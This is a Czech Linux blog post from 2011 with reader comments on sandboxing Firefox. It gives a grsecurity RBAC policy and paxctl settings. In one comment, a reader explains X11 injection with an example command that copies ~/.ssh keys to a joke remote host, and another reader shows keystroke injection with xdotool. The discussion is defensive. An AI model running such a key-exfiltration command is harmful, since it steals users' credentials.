Jak je to s tou bezpečností...

12.7.2011 01:18 | Přečteno: 2463× | Linux | | poslední úprava: 12.7.2011 01:16

Nedávno jsem něco hledal na webu Mozilly a náhodou narazil na jednu zajímavou stránku. Ten pohled mě posadil na prdel. 18 kritických zranitelností za půl roku! Normální přístup by byl ten program smazat a najít si alternativu, to ale v tomhle případě z nejrůznějších důvodů není možné. A tak jsem začal řešit co s tím.

Prakticky mi je jedno jestli útočník získá roota nebo ne - v situaci kdy je kompromitován uživatelský účet se už jedná o obrovský problém - útočník má okamžitě přístup k SSH a GPG klíčům, osobním dokumentům, historii IM a podobně. Takže je nutné omezit proces prohlížeče na přístup pouze k datům která potřebuje. Ale jak na to? Nakonec zůstalo jen pár možností.

1) Vykašlat se na to

Sázet na to, že nenarazím na žádnou stránku se 0day exploitem je sice nejjednodušší ale přece jen, není to zrovna ideální. Ale řeší to tak většina uživatelů tak nakonec proč ne?

2) Separátní uživatel pro webový prohlížeč

Tohle už vypadá slibněji, ale má to pár nedostatků. Stačí zapomenout na nějakém adresáři chmod 0755 a prohlížeč se tam dostane, také může prakticky volně lézt po celém systému (/etc, /usr, /var). Nic příjemného

3) Chroot

Tohle už poskytuje poměrně spolehlivou ochranu. Nevýhody jsou myslím jasné: nutnost kopírovat velké množství knihoven, udržovat minimální paralelní systém (i když se to dá rozumně automatizovat).

4) Virtuální mašina

Z hlediska bezpečnosti chroot na steroidech. Problémy jsou myslím jasné - obrovská spotřeba místa na disku a RAM, celková pomalost. Vzhledem k tomu jaký mám stroj jsem tuhle možnost hned zavrhnul.

5) RBAC systém

=Systém řízení přístupu založený na rolích. Výhody - poměrně slušné oddělení prohlížeče od okolního světa za cenu minimální spotřeby systémových prostředků. Jedinou nevýhodou je dost otravná konfigurace. A pak dilema jaký vybrat.

5a) SELinux

Nevěřím NSA. Stačí? Ne? Od tohohle průšvihu nevěřím moc ani SELinuxu. A na takovouhle jednoduchou úlohu je to moc komplikované.

5b) RSBAC

Mrtvý projekt, nemá cenu dál rozebírat.

5c) AppArmor

Tak tohle už vypadá poměrně zajímavě, navíc se dostal do jádra. Možnostmi konfigurace by vyhovoval - není nijak složitá a zároveň dostačující.

5d) Grsecurity

Ale nakonec to vyhrál Grsecurity i přes nespornou nevýhodu - není v jádře takže se musí externě patchovat. Na druhou stranu je v jednom .patch souboru i se systémem PaX, což je další výhoda. Jen bych krátce zmínil na co si dát při případném použití Grsecurity na desktopu pozor:

• Při kompilaci kernelu NEzapínejte CONFIG_GRKERNSEC_IO, nebo vám nenaběhnou Xka
• Firefox (a plugin-container pro FF5) spadne nebo skončí v nekonečné smyčce pokud je zapnutý RANDMMAP nebo MPROTECT. Řešení:

  paxctl -cPEmrXS /usr/lib/iceweasel/firefox-bin 
  
  paxctl -cPEmrXS /usr/lib/xulrunner-5.0/plugin-container
  

• Firefox je tak pitomý že pokud nemá přístup do adresáře nastaveného jako cíl pro stahování tak nezobrazí chybovou hlášku a neskočí automaticky do nadřazeného adresáře jako každá normální aplikace ale prostě a jednoduše nic neudělá. Super, co?

No, a nakonec tu mám pravidla pro Firefox pokud to chce někdo zkusit a nechce se s tím patlat (pozor, cesty jsou podle Debianu, takže s/iceweasel/firefox). Pokud bude zájem postupem času doplním i pravidla pro další kritické aplikace (Minimálně Thunderbird/Icedove). Každopádně, omezí to přístup Firefoxu prakticky jen tam kde potřebuje (ok, /lib, /usr/lib a /usr/share jsem povolil celkově, nebavilo mě to vypisovat) a pak ~/Firefox a ~/Shared.

subject /usr/bin/iceweasel o
	-CAP_ALL
	/			hs

	/bin			hs
	/bin/sh			rxi
	/bin/which		rxi
	/bin/readlink		rxi
	
	/dev/null		rw
	/dev/urandom		rw
	/dev/zero		rw
	/dev/snd		rw

	/etc/iceweasel		r
	/etc/nsswitch.conf	r
	/etc/resolv.conf	r
	/etc/hosts		r
	/etc/host.conf		r
	/etc/passwd		r
	/etc/group		r
	/etc/fonts		r
	/etc/localtime		r
	/etc/gai.conf		r
	/etc/ld.so.cache	r
	/etc/locale.alias	r
	/etc/mailcap		r
	/etc/mime.types		r

	/home			hs
	/home/*			r
	/home/*/Firefox 	rwcd
	/home/*/.mozilla	rwcd
	/home/*/Shared		rwcd
	/home/*/.macromedia	rwcd
	/home/*/.asoundrc	r
	/home/*/.Xauthority	r
	/home/*/.Xdefaults	r
	/home/*/.cache/event-sound-cache rw
	/home/*/.local/share/recently-used.xbel r
	/home/*/*		hs

	/lib			rxi

	/proc			r
	
	/usr			r
	/usr/*			hs
	/usr/lib		rxi
	/usr/bin		rxi
	/usr/games		hs
	/usr/local		hs

	/usr/share		r

	/run/dbus/system_bus_socket 	r

	/tmp				rwcd

	/var/cache/fontconfig		r
	/var/tmp			rwcd
	/var/lib/dbus/machine-id 	r
	/var/lib/defoma			r

       

Anketa

Komentáře

[Josef Kufner]

Co jsem si tak všimnul (benchmarky jsem nedělal), tak IE ve Virtualboxu na WinXP je zhruba stejně rychlý i paměťově náročný jako nativní Firefox verze 2.

Nejlepší variantou by byl chroot vestavěný v prohlížeči. Nenáročné pro uživatele a přitom celkem bezpečné.

[Radovan Garabík]

Nejlepší variantou by byl chroot vestavěný v prohlížeči

- to by ale musel byť spúšťaný ako root (aspoň v normálnom svete)...

[pavlix]

Nejlepší variantou by byl chroot vestavěný v prohlížeči. Nenáročné pro uživatele a přitom celkem bezpečné.

To by bylo hodně smutné, kdyby nejlepší variantou byla taková věc jako chroot.

[cezz]

To by bylo hodně smutné, kdyby nejlepší variantou byla taková věc jako chroot.

+1

[Luk]

Firefox je tak pitomý že pokud nemá přístup do adresáře nastaveného jako cíl pro stahování tak nezobrazí chybovou hlášku a neskočí automaticky do nadřazeného adresáře jako každá normální aplikace ale prostě a jednoduše nic neudělá. Super, co?

Zavraždit vývojáře málo

Ad AppArmor - v openSUSE jsou již vytvořeny profily pro Firefox a Operu, nicméně jsou v extras, čili ve výchozím stavu se nepoužívají. Takže kdo to chce vyzkoušet, stačí přesunout potřebné profily přímo do /etc/apparmor.d a zapnout AppArmor jako takový.

[Mrkva]

A bug tim hnije i s patchem skoro čtyři roky.

[Ruža Becelin]

6) Stahnout si stranky na jinem PC webspiderem a prohlizet off-line.

7) Vytrhnout kabel ze zdi a nepouzivat internet.

[kyytaM]

8) Najst si frajerku/frajera/domace zvieratko a nechodit po pochybnych strankach. :D

[Dalibor Smolík]

Doporučuji zvířátko. To nekecá do výběru navštěvovaných stránek.

[marek_hb]

ale neuvaří ...

[vain]

To ani "dnešní frajerky"

[AsciiWolf]

[Dalibor Smolík]

No právě

[pasmen]

Ale může být uvařeno

[Mrkva]

To frajerka/frajer taky :)

[Jendа]

LOL

[houska]

a neoš*ká

[pasmen]

I tohle je sporné...

[x0r]

Nesouhlasím.

[houska]

a jaky mas doma zvire?

[x0r]

Nejsi nějaký zvědavý?

No dobře, mám psa.

[kotyz]

Se psem by to slo

[polymorf]

Pozor na svalovca

[kotyz]

To bys ho musel sežrat, jinak to nechytneš.

[x0r]

+1

Tohle se mne opravdu netýká. Jsem vegetarián.

[w4rr10r]

Orál?

[x0r]

?

[kotyz]

Kloaka!

[Bubak]

Mohl by autor rozvest proc nejde pouzit napriklad Chromium? Z hlediska bezpecnosti je o svetelne roky napred (napriklad kazdy Tab ma vlastni sandbox).

[Mrkva]

Rozšíření Tamper Data :)

[AsciiWolf]

a HTTPS Everywhere.

[pavlix]

mezi (3) a (4) chybí možnost kontejnerů, vzhledem k tomu, že u (4) tvrdíš, že virtualizace má obrovskou režii, tak určitě kontejnery nezahrnuješ.

[Mrkva]

Jo, ale pro kontejnery (řekněme OpenVZ) jsou nevýhody +- stejné jako u chrootu.

[pavlix]

Jo, ale pro kontejnery (řekněme OpenVZ) jsou nevýhody +- stejné jako u chrootu.

Kéž by :D.

[SPM]

Hádám, že při použití chrootu/jiného usera apod. narazím na první problém ve chvíli, kdy tim browserem budu chtít něco vyuploadovat z disku, co? :)

[Mrkva]

Jo, jediná možnost je to šibovat třeba přes /tmp :)

[Josef Kufner]

Raději ~/tmp a nechat tam bydlet samouklízecí script

[marvn]

a noscript by nestacil?

[Josef Kufner]

Nestačil. Bugy jsou i ve zpracování obrázků a dalších věcech. Navíc většina webů je bez javascriptu docela na nic

[Mrkva]

Ne. Chyby nejsou jen v JS: 1, 2...

[marvn]

jo no, pravda

[pavlix]

A vytažení síťového kabelu? :)

[elenril]

5e) TOMOYO

Je v jádře, vyvíjí se a jednoduše se nastavuje. Akorát o ní moc lidí neví, takže návodů člověk na internetech moc nenajde.

[Jendа]

Ano, už nad ním delší dobu medituju, ale pořád jsem neměl sílu to nastavit. Nějaká stránka s bezpečnostními politikami pro inspiraci? ;)

[elenril]

O ničem nevim.

Já ji mám v enforcing mode jen pro firefox. Tam jsem nejdřív na pár hodin zapnul learning mode (kde se každá operace automaticky povolí a přidá do whitelistu) a pak profiltroval výsledek.

[gtz]

copak by na ty ďoury řekl náš expert na Mozillu Péťa?

[SPM]

To je otázka, jestli je i dostatečný expert i na ďoury...

[kkaarreell]

Se SElinuxem muzes pustit firefox v sandboxu, na tom nic sloziteho neni. Viz treba http://www.partlycloudy.org/2010/11/14/selinux-sandboxed-firefox.html

[Woknař]

Doporučuji Lexaurin. Ta paranoia po něm trochu povolí.

[Mrkva]

Doporučuju kouknout na kolika blacklistech je tvoje IP. To pak to sebevědomí trochu povolí.

[smartin]

ber to tak, ze u zavrenych prohlizecu vyjma Chrome (ktery je jen nadstavbou Chromium) o tehlech chybach nemas ani tuseni. IE by o tomhle mohlo psat sahodlouhe bakalarky.

[Mrkva]

To není pravda, MS o bezpečnostních aktualizacích informuje, Opera taky. Ale řešit kdo je na tom hůř když jsou na tom tragicky všichni...

[ET]

IMHO: sice se nevyhnes kompromitaci systemu, ale nic co by reboot nespravil - LIVE distro rulez - [nejlip vyprdnout z kernelu driver k radici disku, kdyz je clovek hodne paranoidni - coz asi zabije i cdromku, ale bootovat pres sit se taky da ]

good luck

PS: UTFG "ubuntu toram"

[Mrkva]

To je ale DOST nepraktický.

[ET]

njn, jako vzdy je to boj "komfort vs bezpecnost" - ja jen pro doplneni

btw: na i-banking bych nesel do niceho jinyho, ale je to holt individualni

[Jendа]

Pozor, i když jsi omezil přístup k souborům, pořád je to neosekaná X aplikace a může tedy keyloggerovat nebo posílat příkazy/klávesy ostatním aplikacím - třeba pošle 'scp -r ~/.ssh dastych@uooz.mvcr.cz:pripady/kinderporno/' xtermu.

[Mrkva]

Pravda. Ale jaké řešení? Pouštět to v jiné instanci Xek?

[Jendа]

Hrál jsem si s „nested“ X serverem (Xephyr, Xnest a spol), ale vyladit to k dokonalosti se mi to nepovedlo (nic moc GTK téma, nefunkční schránka, pomalá odezva kurzoru myši).

[Hoody]

To by šlo vyřešit tím že zakážeš fork() nebo zakážeš/omezíš execve() (a spol.) ne? Nevim jak se to dělá, ale podle nějakýho článku na linux.com by to se SELinux jít mělo (i když tam nebylo napsaný jak).

Každopádně zabránit prohlížeči aby logoval klávesy a někam je posílal asi nejde.

[Jendа]

Forkování by mělo být tak nějak defaultně nastavené na dědění omezení (jako že když prohlížeč, co nemůže do .ssh, forkne cat, tak ten taky nebude moct do .ssh). Ale k hrátkám v X nový proces nepotřebuješ.

[Hoody]

Co jsou "hrátky v X" a co jaký jsou hrozby?

[penej]

bump pro výbornou bouřku v Praze (vážně mě to zajímá)

[Jendа]

Zkus si třeba

xdotool key d a t e Return

A takhle může třeba zkompromitovaný prohlížeč poslat terminálu libovolný příkaz.

[marbu]

Jak uz tu bylo nejednou receno, pokud ma program pristup ke tvym xkam (treba protoze na nich chce zobrazovat sve okno), muze sledovat udalosti stisknuti klaves nebo je generovat a to oboje pro libovolny program spusteny ve stejnych xkach. Hezky priklad treba zde: The Linux Security Circus: On GUI isolation.

[Hoody]

nasel jsem http://www.nsa.gov/research/_files/selinux/papers/x11/t1.shtml

zatim jsem nemel cast to precist, ale vypada to ze presne resi tenhle problem

[Hoody]

taky http://selinuxproject.org/page/NB_XWIN

[penej]

Nevěřím NSA. Stačí? Ne? Od tohohle průšvihu nevěřím moc ani SELinuxu. A na takovouhle jednoduchou úlohu je to moc komplikované.

Jinak:

V SELinuxu (tj. v mainline kernelu) je nejspíš trojan protože NSA odposlouchává telefony.

Nebuď dumbfuck. Proč věříš grsecurity?

A zapomněl jsi na TOMOYO.

[Mrkva]

V SELinuxu (tj. v mainline kernelu) je nejspíš trojan protože NSA odposlouchává telefony.

Co? Nechápu souvislost mezi odposlechem telefonů a hypotetickým trojanem v SELinuxu.

Proč věříš grsecurity?

Protože pokud vím v grsec se ještě neobjevila zranitelnost typu local root :)

A zapomněl jsi na TOMOYO.

To jo.

[a.syntsow]

Objavila ...sice len 2* ale objavila. Neviem naco to tu riesis Mrkva. Viem ze chodis na spenderov kanal, preboha pytaj sa tam tych ludi. Je tam napriklad aj security vyvojar Ubuntu. Pytaj sa ich. Nie drbnutych ceskych stredoskolakov a pseudocelebritiek.

[Mrkva]

Objavila ...sice len 2* ale objavila.

Pravda, málo jsem hledal. Pardon.

Neviem naco to tu riesis Mrkva

Zajímá mě jak kdo řeší bezpečnost z místního osazenstva.

[Mrkva]

Viem ze chodis na spenderov kanal

A tohle mi od paranoie nepomohlo.

[a.syntsow]

To ta len slachti ze nie si ako oni. Tuto to proste neries oni to nepochopia. Ja som tam tiez my dvaja sme sa dokonca bavili len je asi moja paranoia vacsia ako tvoja :) Napis mi niekde jabber skontaktujem ta a ked tak mozme pokecat.

[l5-1]

spenderov kanal?

[Mrkva]

#grsecurity na OFTC.

[l5-1]

proc se tomu rika spenderov kanal?

[CEST]

Zalezi na tom, jak dlouho je takova chyba neopravena. Ze melo neco 18 chyb za pul roku neznamena, ze byly uspesne napadeny vsechny pocitace. Normalne to totiz funguje tak, ze nekdo najde chybu. Kdyz to je black-hat, tak je problem, ale web viry se spis mnozi po utocich script kiddies, black hat delaji neco lepsiho. Pokud je to white head, tak upozorni autory a ti maji cas na opravu. Pokud na to nekde kasle (slysel jsem Microsoft?), tak je potom sranda. Po nejake dobe je pak chyba zverejnena, ale pokud autor reagoval, tak je jiz opravena a uzivatele by meli byt v pohode - z toho plyne aktualizovat - ja vim, v tech Vistach/7 je to otrava (aktualizovat, aktualizovat pri vypinani, aktualizovat pri zapinani) a navic jeste kazdej program hlidat zvlast (nebo proste zvlast odklikat X aktualizatoru).

Pokud uz nekdo hackne Linux, tak vetsinou proto, ze si nejakej uzivatel ulozi root heslo na ftp do totalcommandera, nebo si nastavi root heslo "abc123". Ja bych to nehrotil.

BTW: Doufam, ze ty ssh klice a gpg klice mas chraneni silnou frazi a pouzivas agenty, jinak si zaslouzis, aby ti to uzivatel www-data zobrazil na http serveru:)

Na stanici bych to tak neresil, jednou jsem pouzival Skype v chrootu a stacilo mi to. Pokud zpracovavas citlivy udaje, tak backup a bez site, na nejaky tvoje pecko neni moc nikdo zvedavej. Neco jinyho je server, ale opravdu moc zalezi na tom, co mas za data a pak taky zalezi na tom, jestli mas vysoky ztraty. Jestli se nic moc nedeje, ze se dostanou na verejnost, tak by mela stacit zaloha pro ztrate dat a poskozeni. No a pokud je to blby kdyz se pouze dostanou ven, tak radsi odpojit od inetu a provadet akce offline (podobne jako CA).

[Jendа]

BTW: Doufam, ze ty ssh klice a gpg klice mas chraneni silnou frazi a pouzivas agenty, jinak si zaslouzis, aby ti to uzivatel www-data zobrazil na http serveru:)

Naštěstí nemají ostatní právo pro čtení.

[Hoody]

Naneštěstí má Chuck Norris roota

[pavlix]

Naštěstí nemá root Chucka Norrise.

[SPM]

Hlavně tohleto je lepší, když to vůbec neni na disku nebo jinym zařízení s FS...

[Jan Grmela]

Nejlepší řešení je separátní počítač. Při dnešní cenách to vyjde nastejno jako se drbat s dokonalým nastavením softwarových omezení. A navíc bezpečnostně je to bezkonkurenční :)

P.S.: Osobně tyhle věci už dávno neřeším. Že by se mi někdo proboxoval z browseru do PC považuju za dost nepravděpodobné pokud člověk denně nestahuje kinderporno a tuny warezeu. Jediné, čeho se bojím, je Fleš -- na ten mám ale ve všech prohlížečích click-to-flash tudíž i zde je riziko minimální. A ani ne tak kvůli bezpečnosti jako spíše příšerné žravosti Fleše a tomu, že reklamy v něm realizované jsou obvykle extra otravné.